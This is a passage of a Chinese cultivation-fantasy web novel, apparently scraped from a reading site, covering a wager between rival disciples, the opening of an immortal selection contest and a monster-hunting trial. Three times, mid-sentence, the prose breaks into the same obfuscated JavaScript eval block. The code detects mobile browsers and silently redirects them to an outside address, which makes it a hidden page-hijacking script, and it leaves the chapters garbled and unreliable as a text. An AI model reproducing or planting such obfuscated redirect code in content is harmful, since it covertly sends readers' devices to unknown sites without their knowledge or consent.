季灵泽摇摇头,想伸手去拍拍凤潇潇的肩膀安慰她,手伸到一半发现凤潇潇浑身上下都冒着灼灼火焰,实在有点儿烫手,又默默收回去了。 南宫策被晾在一遍,好半晌才憋出来一句话:“她真是筑基期?” “不然呢?”凤潇潇凤眼一横,身上的火焰腾地向上窜了窜,“她刚升筑基还没几日,你瞎了看不出来吗?我告诉你们,凌七若有事,我就是豁出去也要和你们奉陪到底!” 火力全开的凤潇潇恐怖如斯,季灵泽毫不怀疑,要不是仙灵城规定了不能斗殴,她会毫不犹豫地和南宫策打起来。 “师姐,”季灵泽把招财的剑柄伸过去,小心翼翼地戳了一下凤潇潇的肩膀试图唤回她的理智,“我真的没事,南宫策答应,要是我赢了给我一万灵石来着。” 凤潇潇回头看她这副财迷样,恨铁不成钢:“你傻啊,你一个筑基期怎么可能打得过元婴!” 台下观战的众人:……还真不一定。 莫名感觉自己被嘲讽的南宫策:总觉得被骂了,但没有证据。 确定了季灵泽真是筑基期后,蓬莱洲弟子们都有点蔫蔫的,南宫策更是彻底沉默了下去,一言不发,本来猜测她是金丹大圆满,两人打得有来有回也属正常,但现在季灵泽只是个筑基期,他方才连连在她手下吃亏就显得很没面子。 尤其蓬莱洲最看重实力。 南宫策走下台,弯腰抱琴就想离开,被季灵泽叫住,她笑眯眯地凑过去拦住他:“南宫兄是不是有什么事忘了?” 这一声“南宫兄”叫得南宫策起了一身的鸡皮疙瘩,他冷冰冰剜她一眼,从兜中掏出一万三千灵石丢给她。 季灵泽一把接住,一边飞快往储物袋里塞一边假意推脱道:“太客气了南宫兄,我们最多只能算平手,三千灵石就够了,你给得太多了。” “仙选大会考场上,”南宫策向前走到一半驻足,目光刮过季灵泽,咬牙道,“我绝不会让你靠这些小花招逃脱。” 季灵泽把灵石收好就懒得再与他多费口舌,她扭头去找凤潇潇,只漫不经心地丢下了一句: “那就拭目以待了。” 仙鹤从半山腰盘旋而上,停在山顶凉亭中央。凉亭中,有两人端坐在其中下棋,一人气质皎洁清冷,若山巅积雪,一人放浪不羁,似长空鲲鹏。 左侧那人缓缓将黑子落下,偏头看了一眼半山腰演武台的动静,唇边漫开一丝笑意: “蓬莱洲那位元婴修士还是缺乏实战,若能把他往魔修堆里一扔,绝不会只有这点水平,倒是与他对战的那个修士身法速度都很惊艳,假以时日必成大器。” 对面的青年没有搭话,他低头看着棋盘上的旗子,似在认真思索下一步棋子该怎么下。 修士拈起棋子,在手中摩挲了一会儿,脸上的笑意渐渐淡了。 须臾,他迟疑片刻,还是轻声道:“你有没有觉得,那白衣修士用剑的样子,像……” 话还没说完就被打断了,青年握着棋子的手滞在原地,他平静冷淡地问道:“像谁?” 白子在手心捂得温热,他到最后也没有下这颗棋子。 与他下棋的修士看了一眼他的神情,将棋盘推开:“我胡说的,不必在意。” 他沉默了一瞬,偏头望着山下的那抹白色,自嘲地勾起唇角:“我应该恨你的,但看见你的样子,又觉得……她是个心软的人,应该不希望你变成这样。” 说罢,他移开目光,不愿再看对面那人的神情,跨上剑,逃一般消失在层层叠叠的云雾中。 赚了钱的季灵泽满面春风,她刚准备和凤潇潇与华漠回去,就被拦下了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362823|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤潇潇警惕地看着眼前这个陌生人,她刚想说什么,就听见对面传来熟悉的声音:“凌七,你现在可以还钱了。” “郁观?”凤潇潇有些吃惊地看着他,又看看季灵泽,明白了事情的来龙去脉。 难怪凌七那个连仙选大会都不知道是什么的人都能摸到这里来,原来是郁观带她来的。 这么一想,凤潇潇把凌七被欺负的怒气转移到了郁观身上,她眉毛一竖,朝郁观道:“是你带她来的?” 郁观看着凤潇潇,咽了口口水,朝季灵泽使了个“救救我”的眼神。 凤潇潇此人,脾气爆烈如火,是出了名的护短。 上一届仙选大会上,玉虚宫某弟子使阴招,将一个沧山派的弟子修为废了。 当时的凤潇潇距离金丹大圆满只一步之遥,可她宁可拼着身死道消的风险也要把玉虚宫拉下水,要不是有考场外的尊者破例出手,恐怕她会和那一支玉虚宫的队伍同归于尽。 虽然保住了一条性命,她还是境界大跌,再不复当年荣光。甚至因为冲动行事被直接踢出考场,禁考五十年。 这件事使得凤潇潇极度护短的名声大噪,方才她对南宫策出言不逊,蓬莱洲一反常态地没计较,正是因了这个名头。 老话说得好,“能打的怕不要命的”,凤潇潇这种护短起来不要命的,谁遇到都要犯怵。 季灵泽再一次悄悄拽了拽凤潇潇的袍子,笑着安抚道:“真没事,师姐,南宫策在我手上讨不到好处,他刚刚还被我打了呢。” 凤潇潇一愣,慢慢冷静下来,半信半疑地看着季灵泽:“他被你打了?” 郁观忙在一边补充:“是,我作证。” “干得好!”凤潇潇脸色由阴转晴,她立刻高兴了起来,一把抱住季灵泽摇晃了好几下,“不愧是我们沧山派的弟子!早就看四大门派那群眼高于顶的东西不爽了!” 郁观往后退了几步:“……咳咳咳咳咳。” “你不算在那群人里。”季灵泽扭头给郁观顺了一下毛,又弯起眼睛,摸摸凤潇潇的头发,“不管他们,这届魁首只能是我们沧山派。” 郁观将扇子往手心一敲:“话别说太早。我们万象宗还在呢。” 季灵泽贴心对他道:“那你们就拿个第二吧。” 她一个刚筑基的修士,也不知道哪里来的自信,郁观无语了:“有你这句话,我要把你的名字一直留扇子上。” 季灵泽深表赞同:“是嘛,反正也要被你记一笔,我就不还钱了。” 郁观:“……” 臭不要脸!!! 郁观气鼓鼓地走了,凤潇潇和季灵泽还在畅想夺魁首后的美好生活,一边的华漠愁眉苦脸地坐下,深深叹了口气。 凤潇潇看过去:“怎么了?” 华漠掰着手指数道:“先是百晓山,再是玉虚宫,方才是蓬莱洲,现在是万象宗,我们好像把四大门派都得罪了一遍。” 他默默把后半句话咽下去。 凌七一己之力,拉来了全场的仇恨。 季灵泽想了想,好像是这么回事。 她看了看远去的郁观,心态很好地道:“不要紧的,我们夺魁了也会得罪他们,迟早的事。” 华漠被她这种莫名的自信逗笑了:“……你啊。” 凌七别的都好,就是太心大了。 这个小师妹没心没肺的,根本不知道仙选大会的难度有多大,与四大门派比起来,他们沧山派别说夺魁,便是能保住不出局,就已经很好了。 13. 第 13 章 仙灵城在七天的暗流涌动后,终于迎来了仙选大会的开幕。 各个宗门都全副武装,打扮得意气风发,列阵齐齐聚在九霄云阙外,等待五个尊者的到来。 这里从前是一片仙界沃土,后来被魔尊毁去,变成了人间炼狱。魔尊死后,五大尊者齐齐设下仙阵,抑制住里面蠢蠢欲动的魔兽与各种诡异的阵法。 三百年前,几个尊者将九霄云阙中较为安全的一片区域划出来,作为仙选大会的考试地点。 整个九霄云阙都被设置了悬空镜,每一个尊者和各大门派的掌门长老们都可以清晰地看见里头修士们的一举一动,以此来确保仙选大会的公平性。 万象宗是第一个到的,郁观锦袍玉带,腰佩长剑,长发扎成利索的高马尾,站在队伍的最前列。 整个万象宗都紧紧跟在他身后,目光炯炯,昂首阔步。 万象宗作为历史最悠久、出过无数佼佼者的老牌宗门,一直有着属于老牌宗门的底气和自豪。如果不是五百年前被魔尊重创,损失了一批好苗子,现在的万象宗恐怕已经一骑绝尘了,哪里还有其他宗门什么事。 紧随其后的是蓬莱洲,比起郁观的从容,南宫策眉眼间郁色未化,紧紧抱着七弦桐琴,浑身紧绷,不自觉释放着属于元婴期的威压。 自从他和筑基期的凌七打成平手,在门派中的威信大大降低,一向以强者为尊的蓬莱洲弟子们开始对他产生质疑,他急需赢过其他金丹大圆满的修士来证明自己的实力。 百晓山与玉虚宫是一起来的,洛啸天与凤无霜被门内的弟子们簇拥着,刚一见面就纷纷翻了对方一个白眼,相看两厌。 他们都从小就被全宗门捧着,一个嚣张,一个跋扈,实力又相近,历来最不对付。 洛啸天坐在足足有数米高的沙狼背上,在地理位置上占据上风,居高临下地投来一瞥。 凤无霜毫不示弱,她出言嘲讽道:“恐惧高空的人修什么仙,连御剑都不会就别出来丢人现眼,到哪里都离不开你那头沙狼。” 恐惧高空一直是洛啸天最大的痛,为此他不得不去哪里都骑着沙狼,沙狼这种仙兽生长在荒漠之中,以擅于奔跑攀爬著称,速度最快时可以与御剑速度持平,勉强补了洛啸天的短板。 洛啸天被戳到痛脚,气得七窍生烟,他当即回嘴:“那又怎么样?总比有些人的队伍差点被沧山派弟子灭了强!” 玉虚宫陷害沧山派却被凤潇潇反杀这件事,当初被传得沸沸扬扬,让玉虚宫丢了好大的脸,玉虚宫掌门还曾经亲自去沧山派,要求凤潇潇自废修为,永不得修真。 谁知沧山派那个沉默寡言的掌门看着不显山不露水,在这种事情上却深得她那个魔尊师娘的真传。 她当即放出话说,若敢动凤潇潇,她就亲自杀上玉虚宫。 最后还是尊者风迟真人出面调停,陷害沧山派的弟子被踢出玉虚宫,罚了凤潇潇下一届禁赛,各打五十大板了事。 这桩旧事被提起,凤无霜脸都涨红了,情急之下想到几日前的小道传言,脱口而出道:“那又如何,仙灵城门前斗法,你不是也没从沧山派那个废物手里讨到什么好处?” 此言一出,一边的郁观和南宫策纷纷看过来。 南宫策一听此言便猜到了这人是谁,他攥紧了手中的琴,默默扭过头去,摆出不在意的样子。 他心情实在很复杂,一边痛恨洛啸天也没能给那修士一个教训,一边又暗自庆幸有人和自己一样丢脸。 这里凤无霜与洛啸天正吵着,争议的中心——沧山派不急不缓地出现了。 凤潇潇和华漠一红一蓝,分别站在队伍两边,这一次是凤潇潇自从上次被禁赛后第一次出现在仙选大会的现场,她面无表情,手中的凤尾鞭隐隐闪着火光。 队伍另一侧,华漠正在温声安抚一些初次参加仙选大会、过于紧张的沧山派弟子。 而热议话题的中心——凌七,拎着她那把破破烂烂的断剑站在队伍里,头发散乱地披在肩膀上,还是穿着那件一成不变的白衣,眼底一片青黑,蔫蔫地站着,打了个哈欠。 其他宗门有许多弟子都在偷偷看她,她浑然未觉,一幅下一秒就要困得睡着了的模样。 这实在不能怪她,她为了仙选大会,整夜整夜凑灵力补心脉,那日赚的一万五灵石全用来买滋补心脉的药材了。 她刚一露面,郁观便徐徐展开了他的折扇,明明天气一点儿也不热,他在那里扇了又扇,确保每个人都能看清那上面义愤填膺的几个字: 凌七、洛啸天还钱! 洛啸天本来在看凌七,一抬头发现周围一圈人都在用奇异的目光看自己,不由得一怔,他扭头一看,看见了郁观的扇子,顿时气得脸红脖子粗。 气郁观不要脸又小气,又气凌七这家伙怎么配和他并列!!! 他狠狠摸了一把坐骑沙狼的背毛,沙狼转过脸舔了舔他的手指,又用脑袋蹭了他一下,他深呼吸几次,忍住了没在这个时候拂袖而去。 南宫策则正对着沧山派,紧紧盯着凌七。 凌七代表了他的耻辱,这一次,他要夺回属于他的一切! 凌七这副萎靡不振的模样被他尽收眼底,他忍不住暗自嗤笑。 她一定是最近一直训练,压力太大的缘故,被他威胁后,她装得云淡风轻,看来背地里还是很担惊受怕的。 想到此处,南宫策收回目光,不再看她,面上的神情不由得自然了些许。 站在前排的凤潇潇把这一切尽收眼底,她扭头就是一个爆栗:“醒醒!” “嘶,师姐,轻点。”凌七捂着额头,被这一下敲得有点儿晕,感觉更困了。 迷迷糊糊间,她听见一个清晰的嗓音划破九霄云阙的上空:“五位尊者已到——” 她费力地睁开眼,缓缓打了个哈欠,看清半空中的人后,她神色凝住了。 到了这个境界的人,已经不需要再通过其他外物彰显自己的实力,但在他们出现的一瞬间,所有门派都是一静,弟子们同时收敛了神色,挺直了腰板。 五股属于分神期独有的强大灵力一瞬间笼罩在整个考场内,半空中似有无形的罩子罩住了所有修士,一阵悠远的钟声如同上古天籁,从九霄云阙中央缓缓传来。 那是保护着整个修真界的上古仙阵感应到了尊者们的气息,以钟声迎接同源的灵力。苍劲古朴,浑厚有力。 众人仰头,崇敬又憧憬地望着从天而降的五人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366188|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄天真人洛川一身红袍,在几位尊者中最为显眼,他眉宇含笑,放松随意:“这一届的仙选大会很多有名的年轻修士,期待你们的表现,我们几个很久没收徒了,都有点手痒呢。” 如果表现格外出色,被几个尊者看中,是可以脱离原门派,拜入尊者门下的。他这话一出,大门派修士们没什么反应,那些散修门派的弟子们纷纷抬头,目光希冀地看了过去。 洛川脸上的笑容半真半假,让人分不清他是不是在说真话。 坐在他左侧的南宫雁姿态端庄,听到这句话,微微掩唇笑了一下,没有说什么。 玄豹散人郑思文开口了,他很煞风景地道:“那也要三个考场都能发挥好才有这个资格,这一届里金丹大圆满数量不错,我们同步调整了考场的难度,你们还是先担心一下自己能不能挺过第一个考场吧。” 洛川皱皱眉,瞥他一眼,郑思文刻板无趣,一点儿玩笑都接不上,简直扫兴。 他环顾四周,最终决定去骚扰独自坐在那里高冷的郁泊舟,他朝着郁泊舟道:“云步仙尊,你到现在一次徒弟都没有收过,我很早就想问你了,你到底想要什么样的徒弟?” 台下的修士们精神一振,仙选大会五十年一次,到现在五百年,十届过去了,别的尊者多多少少都有了关门弟子,唯独他一个都没选到,这个问题也是所有修士最关心的问题。 郁泊舟长身玉立,气度高华,脸上神情无波无澜,还是那副冷淡沉静的姿态,他淡声道:“缘分天定。” 回答了像没回答一样。 洛川再次吃瘪,他也不尴尬,咳嗽一声,开始搜寻下一个可以聊天的人。 扶摇真人凤迟不着痕迹地往旁边挪了挪,避开洛川这个话痨。 她的目光扫过台下的修士,在凤潇潇身上停了停,凤迟到现在对她还有点印象。 同样出身凤家,凤潇潇天资不错……就是可惜有那样一个母亲。 她偏开视线,暗自叹息了一声。 “今年的仙选大会最终是哪个门派获得魁首呢?我可都把奖励备下了……” 洛川还在拽着南宫雁聊天,滔滔不绝,南宫雁是唯一一个肯耐心听他讲话的尊者了,不管洛川说什么她都认真“嗯嗯嗯”,虽然有敷衍的嫌疑,但总比古板的郑思文和无聊的郁泊舟好。 浩荡人群中,季灵泽看清了郁泊舟的脸,不由得愣了愣,目光一凝。 是他。 往事猝不及防地涌来,舌尖都泛起一股血腥味。 尸山血海里,她连杀数百仙修,从筑基到分神,都命丧在她的剑下,哀嚎声,怒骂声,哭泣声,尖锐刺耳地回荡在耳边。 杀戮,是她唯一的目的。 尽管已经遍体鳞伤。 她以剑作拐,支起身体,向高台上的人一步步走去,每走一步,脚下都是一道血印子。 然而就在她提起剑的刹那,身经百战的第一感促使她扭过头,看见了站在远处山巅,弯弓搭箭的人。 透过蒙蒙血雾,她依然看清了他的眼睛。 没有一丝情绪的眼睛。 冰冷,疏离,高高在上。 一箭穿心。 那是他们的最后一面。 14. 第 14 章 季灵泽是被捡进万象宗的,那时候她年仅十岁,一张小脸上满是脏污,正在垃圾堆里掏吃的,一抬头,看见了一个笑呵呵的老头,老头问她想不想有无数吃的,吃到撑为止。 年幼的季灵泽最大的愿望就是吃饱饭,于是她不假思索地说,想。 她就这么被拐进了修仙这条不归路里,还有了自己的名字,季灵泽。 后来她才知道,老头名叫凌霄子,是万象宗的长老之一。 进门派的第一眼,她看见了一个同自己差不多大的小孩,小孩有一张白净的脸,黑葡萄般的大眼睛,像是雪堆出来的人。 和满身脏污的她截然不同,他穿着一身干干净净的白衣,头发如丝绸般披散在肩头,浑身上下一尘不染,规规矩矩地朝领着自己的老头行了礼,然后转过头看着她,目光平静无波。 季灵泽没见过这样漂亮的、像雪堆出来的人,一时间看呆了,她走上去,伸手想摸摸他身上干净得令人发指的白衣服,被小孩闪身躲过,那个孩子皱眉看着她漆黑的手,虽然极力想表现得淡定,但季灵泽还是一眼看清了他眼底的不快:“不要碰我。” 她的手停在半空中,一只脏污的手,布满尘灰、粘液和血。 凌霄子轻咳一声,转身朝季灵泽介绍:“这是郁泊舟,你的同门师兄。” 狗屁师兄! 他明明很讨厌我。 年幼的季灵泽已经学会了察言观色,一眼看出来了面前这个漂亮雪人看她的眼神是她流浪时最熟悉的那种眼神——高高在上,不屑一顾。 她讨厌这种眼神。 季灵泽作势将手缩回去,而后……趁着他不注意,猛地冲上去,报复般在那件白衣服上按下自己的手印。 雪白的绸缎上顿时出现了一对显眼的手印。 她的速度快得连凌霄子都没能反应过来,郁泊舟一愣,看清自己衣服上的手印,重度洁癖的他简直要炸毛了,他连续退后几步,手心里立刻聚起一团水流,“哗啦啦”冲在她的手上。 水流把季灵泽冲击得差点摔倒,但她顾不上生气,而是垂头吃惊地看着他的手,揉了揉眼睛。 是真的。他手上真的突然出现了水! 凌霄子见势不对,忙插进他们中间,笑呵呵地劝架:“哎呀哎呀,不要吵架,泊舟,让着点灵泽,以后她就是你的师妹了。灵泽想不想像你师兄一样厉害?” 比郁泊舟矮了将近一个头的季灵泽,盯着面前这个臭着脸冷冰冰的师兄,口齿清晰地道:“我会比他更厉害。” 郁泊舟静静地看着她,冷酷道:“不自量力。” 彼时郁泊舟十岁,已经炼气,是门派里万众瞩目的天才。 当时的他是整个郁家举全家之力培养出的神童,还不知道自己即将被眼前这个脏兮兮的小孩,碾压数百年。 那是他们的初遇。 季灵泽抬头看着眼前面无表情孤高冷淡的仙尊,缓慢眨了一下眼。 白驹过隙,沧海桑田。 从他们初见到现在,原来已经……八百年了。 “仙选大会,现在开始,请各仙门弟子入场——” 季灵泽回过神,轻轻掐了一下自己的食指,刺痛感让她从回忆里清醒过来,她摇摇头,自嘲浅笑了一下,跟着万象宗的队伍一起迈入考场中。 第一个考场:斗兽,比赛哪个门派杀死的魔物最多。 刚一进入考场,所有宗门的弟子都同时震惊停下脚步,眼前是一片郁郁葱葱漫无边际的树林,但每一种植物都色泽鲜艳、形状怪异。 那些树,不,那些长着肉瘤的诡异植株像是有自己的思想,随着他们踏入,植物们齐齐蠕动起来,远远望去,千百根诡异的藤条像千百根绞杀的触手,煞是可怖。 凤潇潇倒吸一口凉气,她嘀咕道:“上次来也没这么多魔物啊……” 斩杀魔物的数量也会算作各个宗门最后成绩的一环,每一分钟都很宝贵。 南宫策最先动了,他是木系灵力,与这些魔株同根同源,对付这些东西先天具有优势。 只见他手中七弦桐琴悬空至手边,手指落下,十指翻飞如蝶,一圈圈音波立刻扩散开去,地底下长出无数带刺的荆棘,与那些丑陋的植株缠绕在一起。 魔株发出淅淅索索的尖叫,南宫策比了个手势,一旁的梁胜当即会意,将手中紫电剑插入地下,电顺着荆棘烧向魔株,那些丑陋的魔株立刻被烧得扭曲起来,不多时,便枯萎凋零成一丝残枝。 不费吹灰之力便清理出一条干净无阻的道路,南宫策轻松收琴,抱着琴目不斜视地领着蓬莱洲的弟子们向前走。 场外的洛川盯着镜子中南宫策的行动,颇有些看好戏的意思:“南宫策这一次很积极。” 南宫雁掩唇讶异道:“这不太符合他的性格,往日他只有在必须出手的时候才会出手。” 南宫策行动后,洛啸天不甘示弱,骑着沙狼也向前冲去:“靠,装什么!小爷我也会!” 巨大的沙土块从空中砸下,死死压住那些魔株,队伍中立即有其他人与他配合,越来越多的沙块压住、碾碎那些魔株,靠着强推的方式清理出一条道路。 郁观和凤无霜自然也不想屈居人后,两人动手极快,不多时,万象宗与玉虚宫也清理出了一条道路,纷纷消失在密林之中。 这下只剩下沧山派了。 凤潇潇抽出凤尾鞭刚打算动手,被季灵泽拦下。 “我们不用动手,”季灵泽指了一下面前的四条道路,道,“选一条跟着就行。” “但这样会遇到四大宗门的人,”凤潇潇心有疑虑,“他们发现我们用这种方式跟上来,难免不会出手对付我们。” 季灵泽露出一丝笑意:“无事,师姐还记得我们的战略吗?” 凤潇潇一愣,明白了她的意思。 斗兽考场,他们的目标并不是赢过其他宗门,而是最大限度保留力量,能不出手就不出手,一旦遇见其他宗门,打不过便跑。 四大宗门的目标是魁首,见他们跑了,不会在对付他们上花功夫。 凤潇潇和华漠对视一眼,最后华漠开口道:“好,你来选择道路。” 季灵泽没有犹豫,径直选了万象宗那条路。 正在杀魔物赶路的郁观背后一凉,他转头向后看了看,没发现有什么不对劲。 可能是幻觉吧。 郁观摇摇头,挥起一扇掀翻了面前张牙舞爪的魔物。 半个时辰后,面前围攻他们的魔物荡然无存,郁观收起扇子,喘了口气,抬手示意万象宗弟子们原地修整,一个懒洋洋的声音突然从身后传了过来:“好久不见。” 郁观一个激灵从地上跳起来,瞪着眼前凭空冒出的沧山派一行人。 看清凌七的时候他明白了,沧山派是循着万象宗而来,万象宗辛辛苦苦杀魔物,倒给沧山派做了嫁衣。 用脚趾头想就知道是谁出的馊主意,郁观指着季灵泽,咬牙切齿:“你们沧山派要不要脸?” 季灵泽坦然:“要脸干什么。有用吗?” 郁观:“……” 好家伙,装都不装了。 季灵泽也没跟他客气,衣袍一掀,就地坐下,抱着招财剑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371666|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不管你们同不同意,我们都会跟着你们,你也不想在考场上与我打一架浪费时间,是不是?” 她说这句话的时候语气很平静,眼睛里没有平时的笑意,她是认真的。 这是在威胁他。 换做平日,郁观定要让敢威胁他的人付出代价,但这一次他忍住了,他见过凌七动真格的样子,她这种滑不溜手还不按常理出牌的人,如非必要他还真不想惹上,沧山派的整体实力离魁首差了十万八千里,威胁不到万象宗,能让他们当个断后的也不错。 这么一想,他退了一步:“可以,但有个条件,你们负责对付从后面偷袭我们的魔兽。” 季灵泽向凤潇潇和华漠望去,见他们没有异议,干脆道:“好说。” 郁观对她很不放心,又道:“你和我并排走,靠近一点。” 凌七这种厚颜无耻的人,万一从背后偷袭他们怎么办。 季灵泽挑了一下眉,站起来,拍拍身上的草屑:“也好说。” 万象宗与沧山派两队放下兵刃,暂时结为同盟,一同向前走去。 正在观赛的洛川注意到了这里,仔细辨认了一下:“真是稀奇,万象宗旁边是……沧山派?他们这是结盟了?难得,从仙选大会开始至今,结盟的门派寥寥无几。” 玄豹散人郑思文不快地冷哼一声:“沧山派到现在一次都没有出手,就知道用这些手段偷懒。” 洛川凑近了镜子仔细看,见郁观与一个白衣女子并肩向前走,奇道:“郁观不仅轻易答应了结盟,还主动与人家靠那么近?” 他与身侧那个白衣女子到底是什么关系? 他目光一转,看向郁泊舟,看热闹不嫌事大地笑道:“你侄子从不会做多余的事情,今天怎么转性了?” 郁泊舟垂目望着悬空镜中的白衣女子,不知为何,似在出神。 洛川等了半天也没等到他回答,悻悻地闭上了嘴。 一个两个都是锯嘴葫芦,要是季灵泽在这里,绝不会让他的话撂在地上。 他脑海中这个念头一闪而过,自己都愣了片刻,安静下来,单手撑着下颌,看着悬空镜,双眼有些放空。 最吵的洛川一闭嘴,所有尊者都悄悄松了口气,重新看向镜中。 镜中,南宫策那边正在与一头成熟魔种蜘蛛缠斗,蓬莱洲的其他人负责牵制住周围的小蜘蛛,南宫策以一人之力对抗中心的大蜘蛛。 成年魔种蜘蛛足足有五六米高,形状狰狞,人站在它面前显得异常矮小。 南宫策神色冷静,一边飞身躲避蜘蛛丝的攻击,一边迅速弹琴,他的手指每拨动一根琴弦,琴弦上便亮一下,因为手速太快,手中的整个七弦桐琴都迸发出夺目的亮光。 绿色藤蔓如网一般密密麻麻覆盖住魔种蜘蛛的表面,随着弹琴速度的加快,藤蔓像潮水一样涌出,倒刺扎进魔种蜘蛛的皮肉里,引得蜘蛛翻滚挣扎。 他脚下的土地中更是飞速生长出巨大的藤条,在他面前结成一个牢固的屏障,所有向他攻击而来的蛛丝都被屏障挡住。 凤迟看了一会儿,低声与南宫雁讨论:“南宫策的表现很出彩,考试开始一个半时辰左右,他已经斩杀了至少两百魔株和三十头魔兽。” 南宫雁点点头,她与南宫策同属南宫家,是看着他长大的,对他的表现没有太大反应:“是很好。” 另一边的考场内,行至一半,季灵泽忽然停下脚步。 郁观立即挥手让队伍停下,问:“怎么了?” 招财剑出鞘,季灵泽一跃而上,踩着剑凌空飞起,喝道:“脚底下有东西!” 15. 第 15 章 郁观对她的判断十分信任,紧随其后跳上剑:“所有人!御剑至高空十米!” 他话音刚落,地动山摇。 万象宗与沧山派的修士们脚刚沾到剑,就见地仿佛被凭空劈开,裂开一道巨大的缝隙。 缝隙中,一头有半座山大的魔种蜘蛛缓缓爬出,蜘蛛双目猩红,触足上粗粝的毛发像一把把小刷子,口器张大,乳白色蛛丝喷涌而出,覆盖了他们刚刚站立的地方。 万象宗与沧山派的修士们均是头皮一炸。 晚一秒,他们现在就要被蛛丝淹没了。 五个尊者的目光同时落在这一块,凤迟意外道:“巨型魔种蜘蛛?看来他们运气不怎么好,我记得这个考场只有一只。” 洛川注意的却是另一件事:“那个白衣修士反应很快,但她的剑也太破了,我还以为那日演武台上她只是在炫技,原来真的这么穷吗?” 几个尊者注视着那个金鸡独立站在一把半截剑上的修士,同时陷入了沉默。 郁观紧紧攥着折扇,他看着眼前缓缓抬起头的巨型魔种蜘蛛,倒抽一口冷气:“什么鬼运气!” 凤潇潇手中的凤尾鞭连续抽打几下,五六个碗口大的火球燃烧着飞出,滚落在那些蛛丝上。 然而,火焰烧了一阵,非但没能造成损害,还渐渐弱了下去。那蛛丝不知是什么做的,烈火焚烧反而将它烧得愈发坚硬柔韧。 “这……”凤潇潇抓紧凤尾鞭,和华漠交换了一个凝重的眼神。 折扇回旋而出,周围迅速凝结出一圈冰晶,锋利如刀,狠狠割在蛛丝上,郁观立于剑上,单手控制着化为冰刀的折扇将那圈蛛丝用力斩断,看着那些蛛丝一分为二,他这才收扇入手,微微皱了眉,微不可察地吐出一口气。 只是几根蛛丝就这么难打了。 这只巨型蜘蛛已经是元婴期,非他们几人能对付。 难道第一个考场就要败北吗? 巨型蜘蛛发觉蛛网被斩断后,巨大的眼睛逐渐锁定了刚刚攻击它的凤潇潇和郁观,它移动着硕大的身躯向他们冲来! 郁观和凤潇潇同时骂了一句脏话,纷纷急速后退,但那只巨型蜘蛛也不知是吃什么长大的,速度快得惊人,顷刻间就来到他们面前。 “退后。” 一抹白色从人堆里飞出,那一瞬间谁也没看清凌七快成残影的手指捻了一个什么诀,众人只听见轰然一声巨响,巨型蜘蛛脚下的泥土变成了沙烁,塌陷下去,整只巨型蜘蛛都顺着沙烁摔了下去,它动作呆滞了一秒,下一刻仿佛被激怒,尖尖的毛腿颤动几下,一股蛛丝朝季灵泽迎面扑来。 季灵泽催动招财剑,身轻如燕,连续躲闪几次避开蛛丝,她身后没见过她打架的那些修士都被她的速度所惊,连逃跑都忘了,只知道站在原地震惊地仰望她。 这还是那个废材凌七吗? “跑啊!”郁观御剑飞到一半,回头一看,两眼一黑,朝着万象宗的弟子们喊道。 他们这才纷纷回神,忙御剑向后狂奔。 华漠和凤潇潇下令让沧山派的其他人离开,他们留在这里,本想去帮季灵泽,却被密密的蛛丝拦住,凤潇潇焦躁地连续挥鞭砍向蛛丝,华漠也抬起剑向蛛丝扎去,一团水一团火合力与蛛丝对抗,僵持在原地。 季灵泽注意到他们的动作,一边不断挑衅蜘蛛吸引它的注意力,一边抬眼给他们传音:“告诉我其他宗门的位置。” 凤潇潇和华漠不解,但还是依言照做了,他们御剑飞至最高处俯瞰,迅速给季灵泽传音道:“东南十里是玉虚宫,西北十三里是蓬莱洲,正南十五里是百晓山。” 季灵泽从巨型蜘蛛劈来一爪下滚过,她听清了方位,顿时不再犹豫,甩了一个风刃狠狠劈在巨型蜘蛛的口器上,风刃刺入口器,巨型蜘蛛吃痛,浑身的绒毛都愤怒地抖动起来,愈发对季灵泽穷追猛打。 得逞的季灵泽催动招财剑,径直冲着最近的玉虚宫所在地飞去。 她身后的蜘蛛已经出离愤怒,紧紧地追在她身后,却拼尽全力都碰不到她的衣角,甚至有时候慢了一步,季灵泽还会主动停下来等它。 她越是这样挑衅,巨型蜘蛛越是亦步亦趋地追着她。 凤潇潇和华漠看着季灵泽引着后面的大蜘蛛,像遛狗一样朝着玉虚宫冲去,双双愣在原地。 一生正直的华漠看着他们一人一蛛远去的背影,犹疑道:“……这样会不会不太好?” “哪里不好,”凤潇潇想通了凌七要干嘛后,简直想拍手叫绝,她收起鞭子,率先跟了上去,“这都是玉虚宫应得的。” 考场外,正在观看考试的几个尊者盯着悬空镜内拔足狂奔的白衣修士,一时间都不知道该怎么评价。 半晌,洛川幽幽道:“好吧,我现在知道为什么郁观会和沧山派结盟了。” 敢情是沧山派藏着这么一个……一个……绝世大混账。 